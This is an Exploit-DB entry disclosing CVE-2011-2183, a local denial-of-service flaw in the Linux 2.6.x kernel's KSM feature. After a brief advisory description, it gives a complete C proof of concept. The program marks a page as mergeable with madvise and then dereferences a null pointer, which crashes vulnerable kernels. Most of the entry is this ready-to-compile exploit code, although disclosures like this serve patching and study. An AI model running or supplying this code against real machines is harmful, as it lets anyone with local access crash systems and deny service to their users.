Linux Kernel 2.6.x - KSM Local Denial of Service Vulnerability

2011-06-02T00:00:00
ID EDB-ID:35820
Type exploitdb
Reporter Andrea Righi
Modified 2011-06-02T00:00:00

Description

Linux Kernel 2.6.x KSM Local Denial of Service Vulnerability. CVE-2011-2183. Dos exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/48101/info

The Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to trigger a kernel crash, which may result in a denial-of-service condition. 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define BUFSIZE getpagesize()

int main(int argc, char **argv)
{
	void *ptr;
	if (posix_memalign(&ptr, getpagesize(), BUFSIZE) < 0) {
		perror("posix_memalign");
		exit(1);
	}
	if (madvise(ptr, BUFSIZE, MADV_MERGEABLE) < 0) {
		perror("madvise");
		exit(1);
	}
	*(char *)NULL = 0;
	return 0;
}